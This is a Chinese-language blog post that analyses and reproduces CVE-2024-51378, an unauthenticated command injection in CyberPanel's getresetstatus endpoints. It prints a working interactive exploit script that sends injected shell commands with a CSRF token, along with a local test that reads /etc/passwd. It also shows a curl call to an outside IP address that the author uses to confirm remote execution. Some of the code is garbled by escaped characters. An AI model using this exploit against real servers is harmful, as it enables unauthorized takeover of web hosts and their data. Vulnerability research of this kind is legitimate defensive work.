CyberPanel认证绕过及远程命令执行漏洞分析与复现(CVE-2024-51378)

CyberPanel是一个基于OpenLiteSpeed的开源Web控制面板,它提供了一个用户友好的界面,用于管理网站、电子邮件、数据库和FTP账户等。然而,近期奇安信CERT监测到了一个严重的安全漏洞,该漏洞允许未授权的攻击者通过/dns/getresetstatus 和 /ftp/getresetstatus接口执行任意命令,从而获取服务器权限。

一、漏洞简介

CyberPanel是一个基于OpenLiteSpeed的开源Web控制面板,它提供了一个用户友好的界面,用于管理网站、电子邮件、数据库和FTP账户等。然而,近期奇安信CERT监测到了一个严重的安全漏洞,该漏洞允许未授权的攻击者通过/dns/getresetstatus 和 /ftp/getresetstatus接口执行任意命令,从而获取服务器权限。

二、影响版本

Cyberpanel < 2.3.8

三、漏洞原理分析

2.3.5版本代码分析

1、下载地址

(https://github.com/usmannasir/cyberpanel/tree/v2.3.5)

2、分析过程

漏洞出现在/dns/getresetstatus 和 /ftp/getresetstatus接口,该接口分别位于dns/views.py和ftp/views.py的文件下,接口对应的代码一致,如下:

image.png
该接口将从请求体中获取statusfile字段,并将其拼接到
sudo cat之后,传递给ProcessUtilities.outputExecutioner方法,
该方法位于plogical文件夹下的ProcessUtilities文件,找到该方法:

image.png
如图代码所示,sudo cat将作为command传入,注意这句代码:
if shell == None or shell == True: p = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
如果shell参数为空或者为True的话,那么将使用subprocess的popen方法执行command命令,并且Popen的shell属性为True。

本地模拟

我们先自己在本地模拟subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)执行后的效果,脚本如下:

import subprocess

process = subprocess.Popen('sudo cat /etc/passwd;whoami;#', shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
stdout, stderr = process.communicate()

if process.returncode != 0:
    print(f"Command failed with return code {process.returncode}")
    if stderr:
        print(f"Error message: {stderr.decode()}")
else:
    if stdout:
        print(stdout.decode())
    else:
        print("No output from the command")

image.png

四、漏洞复现

利用公开poc脚本
https://github.com/refr4g/CVE-2024-51378/blob/main/CVE-2024-51378.py
这里我自己修改了下,直接写死target和endpoint值,并修改了请求方式

import sys  

RED = "\\033\[91m"  
GREEN = "\\033\[92m"  
CYAN = "\\033\[96m"  
MAGENTA = "\\033\[95m"  
YELLOW = "\\033\[93m"  
RESET = "\\033\[0m"  

print(f"{RED}CVE-2024-51378{RESET} - Remote Code Execution Exploit")  
print(f"{CYAN}Author:{RESET} {GREEN}Luka Petrovic (refr4g){RESET}")  
print()  
target = "https://xxxx:8090/"  #此处填写目标地址
endpoint = "/ftp/getresetstatus"  #此处也可以填写/dns/getresetstatus

client = httpx.Client(base\_url\=target, verify\=False)  

try:  
    response = client.get("/")  
    response.raise\_for\_status()  
except httpx.RequestError:  
    print(f"{RED}Error: Unable to reach the target {target}. Please check the URL and your connection.{RESET}")  
    sys.exit(1)  

def get\_token():  
    response = client.get("/")  
    return response.cookies.get("csrftoken")  

def rce(client, csrf\_token, cmd, endpoint):  
    headers = {  
        "X-CSRFToken": csrf\_token,  
        "Content-Type": "application/json",  
        "Referer": str(client.base\_url)  
    }  
    payload = '{"statusfile": " %s; #"}' % cmd  
    response = client.request("POST", endpoint, headers\=headers, data\=payload)   
    return response.json().get("requestStatus")  

csrf\_token = get\_token()  
if not csrf\_token:  
    print(f"{RED}Failed to retrieve CSRF token. Exiting.{RESET}")  
    sys.exit(1)  

while True:  
    cmd = input(f"{YELLOW}$> {RESET}")  
    print(rce(client, csrf\_token, cmd, endpoint))

该脚本传递的payload值为

'{"statusfile": "%s; #"}' % cmd  

假使cmd值为

< /dev/null;whoami

那么拼接后的command值为

sudo cat < /dev/null;whoami;#  

现在正式开始测试,本地使用nc工具打开8090端口

image.png

执行 python .\CVE-2024-51378.py,输入cmd命令:

/dev/null;curl http://124.222.86.31:8090

image.png
响应成功,检查本地8090端口监听
image.png
成功收到请求,证明命令被执行成功!

  • 发表于 2024-12-30 08:00:00
  • 阅读 ( 6947 )
  • 分类:Web应用

0 条评论

请先 登录 后评论
huyifu
huyifu

安全工程师

1 篇文章

站长统计